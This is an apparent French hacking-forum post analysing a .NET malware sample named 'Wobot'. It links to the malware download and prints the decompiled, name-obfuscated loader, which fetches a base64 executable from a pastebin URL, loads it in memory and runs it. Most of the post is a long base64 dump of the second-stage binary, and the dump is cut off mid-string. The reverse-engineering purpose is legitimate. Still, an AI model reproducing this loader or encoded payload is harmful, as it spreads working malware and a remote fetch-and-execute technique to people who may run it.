[.NET] Wobot Reverse

[Yttrium]

Bonsoir a tous, ce soir, je viens partager avec vous mon occupation de cette soirée
J'était tranquillement sur youtube en train de chercher des fakes, stealer, ou tout autre malware susceptible de m'occuper, quand j'ai trouvé ceci : "Wobot"
Le lien est ici > hxxp://www.mediafire.com/download/u68wgpcpzzu9ypa/Wobot.rar

Le post peut évoluer avec le temps, je n'ai pas encore totalement finit

Pour ceux que ça intéresse, voici la liste des outils utilisé :
- ExeInfoPe > http://www.asl-soft.besaba.com/exeinfo/index.htm
- IlSpy > http://ilspy.net/
- Visual Studio 2012 > http://www.microsoft.com/france/visual-s...press.aspx

J'ai donc commencé mon analyse par un machinale ExeInfoPe qui m'informe que c'est un "Microsoft Visual C# / Basic.NET "

  wobot_1.png (Taille : 64.26 Ko / Téléchargements : 18)

Pas de problème, lançons IlSpy et regardons cela de plus près :

Code :

private static WebClient הנמהלבתיגואצהמתובעבי = new WebClient();
        private static string עחאהאיתדוםקןדצוהצעהי = איעתרהתנדלאוותת.הנמהלבתיגואצהמתובעבי.DownloadString("http://pastebin.com/raw.php?i=xJsHeTjk");
        private static byte[] סיסענתילחעלקחבתעתסרת = Convert.FromBase64String(איעתרהתנדלאוותת.עחאהאיתדוםקןדצוהצעהי);
        [STAThread]
        public static void Main(string[] מקישהנאיתרתםדהקאהמםת)
        {
            Thread.Sleep(20000);
            object[] parameters = new object[0];
            Assembly assembly = AppDomain.CurrentDomain.Load(איעתרהתנדלאוותת.סיסענתילחעלקחבתעתסרת);
            bool flag = assembly.EntryPoint.GetParameters().Length > 0;
            if (flag)
            {
                parameters = new object[]
                {
                    מקישהנאיתרתםדהקאהמםת
                };
            }
            assembly.EntryPoint.Invoke(null, parameters);
        }

Malgré les noms modifié, on comprend facilement que le programme ne fait que télécharger un autre PE .NET sur pastbin qui à préalablement été passé en BASE64

Bon, pas de problème, on télécharge le fichier et on le de déchiffre, et on retourne dans IlSpy, même chose cette fois si, mais avec un fichier stocké dans un string, et passé dans une fonction nommé RSADecrypte

Code :

private static void Main()
        {
            string s = "AAAAAAAAAAAAAAAAAAAAAE1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAOH7oOALQJzSG4AUzNIVRoaXMgcHJvZ3JhbSBjYW5ub3QgYmUgcnVuIGluIERPUyBtb2RlLg0NCiQAAAAAAAAAUEUAAEwBAwCK0fJTAAAAAAAAAADgAAIBCwEIAABWAAAABgAAAAAAAJ50AAAAIAAAAIAAAAAAQAAAIAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAwAAAAAIAAAAAAAACAECFAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAABIdAAAUwAAAACAAABAAgAAAAAAAAAAAAAAAAAAAAAAAACgAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAgAAAAAAAAAAAAAAAggAABIAAAAAAAAAAAAAAAudGV4dAAAAKRUAAAAIAAAAFYAAAACAAAAAAAAAAAAAAAAAAAgAABgLnJzcmMAAABAAgAAAIAAAAAEAAAAWAAAAAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAACgAAAAAgAAAFwAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAgHQAAAAAAABIAAAAAgAFACxLAAAcKQAAAwAAAC8AAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADMAEA9gAAAAAAAAByAQAAcIABAAAEchsAAHCAAgAABBSAAwAABHIlAABwgAQAAARyOwAAcIAFAAAEcksAAHCABgAABHKNAABwgAcAAARytwAAcIAIAAAEcsEAAHCACQAABHLNAABwKAQAAAqACgAABHLZAABwKAQAAAqACwAABHLZAABwKAQAAAqADAAABHLZAABwKAQAAAqADQAABCgFAAAKbwYAAApzBwAACoAOAAAEcwgAAAqAEAAABBSAEQAABBaAEgAABHLjAABwgBMAAAQUgBQAAARzCQAACoAVAAAEIAEUAACNDAAAAYAWAAAEcj8BAHCAFwAABBSAGAAABCoAABswAwA7AAAAAQAAEX4QAAAEbwoAAApvCwAACnJBAQBwfgYAAAQoDAAAChdvDQAACgJvDgAACt4OJSgPAAAKCigQAAAK3gAqAAEQAAAAAAAALCwADg0AAAEbMAMARAAAAAIAABF+EAAABG8KAAAKbwsAAApyQQEAcH4GAAAEKAwAAApvEQAACgIDKBIAAApvEwAACgreECUoDwAACgsDCigQAAAK3gAGKgEQAAAAAAAAMjIAEA0AAAEbMAQARgAAAAMAABF+EAAABG8KAAAKbwsAAApyQQEAcH4GAAAEKAwAAApvFAAACgIDKBIAAAoEbxUAAAoXCt4QJSgPAAAKCxYKKBAAAAreAAYqAAABEAAAAAAAADQ0ABANAAABGzAEAK0DAAAEAAARclUBAHB+CQAABCgMAAAKC3JbAQBwcj8BAHAoCQAABnI/AQBwFigWAAAKLDAHfwEAAAQoDQAABnJhAQBwKBMAAAYoFwAAChMNEg0oDAAABn4JAAAEKBcAAAoL3msHclsBAHByPwEAcCgJAAAGKBgAAAoTDRINKA0AAAZyYQEAcCgTAAAGKBcAAAoTDhIOKAwAAAZ+CQAABCgXAAAKC94oJSgPAAAKDQcoEwAABhMOEg4oDAAABn4JAAAEKBcAAAoLKBAAAAreAAcoGQAACn4JAAAEKBcAAAoL3iAlKA8AAAoTBAdyZQEAcH4JAAAEKBcAAAoLKBAAAAreAAcoGgAACn4JAAAEKBcAAAoL3iAlKA8AAAoTBQdyZQEAcH4JAAAEKBcAAAoLKBAAAAreAAd+DgAABG8bAAAKEw8SDygcAAAKExASEHJrAQBwKB0AAAp+CQAABCgXAAAKC94gJSgPAAAKEwYHcn0BAHB+CQAABCgXAAAKCygQAAAK3gAHcj8BAHB+CQAABCgXAAAKCwd+EAAABG8eAAAKbx8AAApyjwEAcHI/AQBwbyAAAApyowEAcHKzAQBwbyAAAApyuwEAcHI/AQBwbyAAAApyvwEAcHI/AQBwbyAAAApywwEAcHLJAQBwbyAAAApyzQEAcHKzAQBwbyAAAAooDAAACgveGyUoDwAAChMHB3JlAQBwKAwAAAoLKBAAAAreAAdy1wEAcCgMAAAKCyghAAAKbyIAAApyyQEAcBUWKCMAAAoTCBEIjrcXMwwHct0BAHAoDAAACgsHEQgRCI63F9qaKAwAAAoL3hslKA8AAAoTCQdy3QEAcCgMAAAKCygQAAAK3gAfJigkAAAKcuEBAHBvJQAACiwTB3LpAQBwfgkAAAQoFwAACgveLgdy8wEAcH4JAAAEKBcAAAoL3hslKA8AAAoTCgd+CQAABCgMAAAKCygQAAAK3gAoEQAABiwTB3L9AQBwfgkAAAQoFwAACgsrEQdyBQIAcH4JAAAEKBcAAAoLB34CAAAEfgkAAAQoFwAACgsHcgsCAHB+CQAABCgXAAAKCwcoEgAABn4JAAAEKBcAAAoLcj8BAHAMfhAAAARvCgAACm8LAAAKckEBAHB+BgAABCgMAAAKFm8mAAAKbycAAAoTEhYTESsmERIREZoTCxELbygAAAofIDMOCBELchECAHAoFwAACgwRERfWExERERESjrcy0t4PJSgPAAAKEwwoEAAACt4ABwgoDAAACioAAAABZAAAAAAQAI+fACgNAAABAADHABPaACANAAABAAD6ABMNASANAAABAAAtAS9cASANAAABAACNAXL/ARsNAAABAAAmAj1jAhsNAAABAAB+Ajm3AhsNAAABAAA2A2CWAw8NAAABEzABAAwAAAAFAAARAigOAAAGKCkAAAoqEzABABAAAAAGAAARAlAoKgAACgsSASgPAAAGKhMwAgANAAAABwAAESgrAAAKAlBvLAAACioAAAATMAIADQAAAAUAABEoKwAACgJQby0AAAoqAAAAEzAEAGUAAAAIAAARAnMuAAAKDQkWcy8AAAoMGo0MAAABCwkJbzAAAAobatpvMQAACgkHFhpvMgAACiYHFigzAAAKEwQJFmpvMQAAChEEF9oX1o0MAAABCggGFhEEbzQAAAomCG81AAAKCW81AAAKBioAAAAbMAUAPgAAAAkAABEWCwe1H2QoNgAACg0SAx9kFBMEEgQfZCgDAAAGLAQXCt4aBxfWCwcaMdjeDiUoDwAACgwoEAAACt4AFioGKgAAARAAAAAAAAAsLAAODQAAARswAwBdAAAACgAAESgFAAAGCwd+NwAACig4AAAKLAhyPwEAcAreQAcoOQAACigHAAAGF9YoNgAACgwHEgIIbygAAAooBgAABiYSAigMAAAGCt4UJSgPAAAKDXI/AQBwCigQAAAK3gAGKgAAAAEQAAAAAAAAR0cAFA0AAAEbMAgAVAAAAAsAABFyFQIAcCg6AAAKci0CAHAoDAAACg0SAxQTBBIEFhIBFhMFEgUWEwYS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EQoUcmkEAHAWjQMAAAEUFBQoaQAACheMOAAAARYoagAACihrAAAKKGwAAAosvxEKFHJxBABwF40DAAABEygRKBYXjDgAAAGiESgUFChnAAAK3X0HAAARJXJ5BABwFihFAAAKFkCCAQAABheaFo0MAAABKAkAAAZ0AQAAGxMNBhiabygAAAofCv4EEQ2Otxb+AV8sRhuNEQAAARMnEScWckMEAHCiEScXfgkAAASiEScYBheaohEnGX4JAAAEohEnGhcoZgAACqIRJyhaAAAKKB0AAAYm3fkGAAAGGJpvKAAACh8KMU1zCQAAChMQBhaafgkAAAQGF5p+CQAABChNAAAKbygAAAoTDxEQAhEPAo63EQ/ab18AAAoREG9gAAAKKBAAAAYTDQYXmhENGSgKAAAGJhuNEQAAARMnEScWckMEAHCiEScXfgkAAASiEScYBheaohEnGX4JAAAEohEnGhYoZgAACqIRJyhaAAAKKB0AAAYmEQ1ySQQAcCgUAAAGKBIAAAoTDhuNEQAAARMnEScWcnkEAHCiEScXfgkAAASiEScYBheaohEnGX4JAAAEohEnGhEOFHKBBABwFo0DAAABFBQUKGkAAAooGAAAChMpEikoDAAABqIRJyhaAAAKKB0AAAYm3egFAAARJXKHBABwFihFAAAKFkCXAQAAKG0AAApvbgAAChMvEi8obwAACihtAAAKb24AAAoTMBIwKHAAAAogBRACAHNxAAAKExURFShyAAAKExERERYWFhYSMREVb3MAAAoRFW90AAAKKHUAAAoRMSAgAMwAb3YAAAoodwAAChEREjAoeAAAChIxHyAfICh1AAAKETEoeQAAChEwb3oAAAreDyUoDwAAChMXKBAAAAreABERb3sAAAoGF5oofAAACgYYmih8AAAKc30AAAoTFhEWKHIAAAoTERERERUWFhEWb3MAAAoRFm90AAAKb34AAAoREW97AAAKcwkAAAoTE3KHBABwfgkAAAQoDAAAChMpEikoDgAABhAAERMCFgKOt29fAAAKcwkAAAoTFBEWERQofwAACm+AAAAKERRvYAAACigaAAAGExIREn4XAAAEFihFAAAKFi4gERKAFwAABBETERRvYAAAChYRFG8wAAAKt29fAAAKKwgRExZvgQAAChETb2AAAAooHAAABiYRE281AAAKERRvNQAAChEV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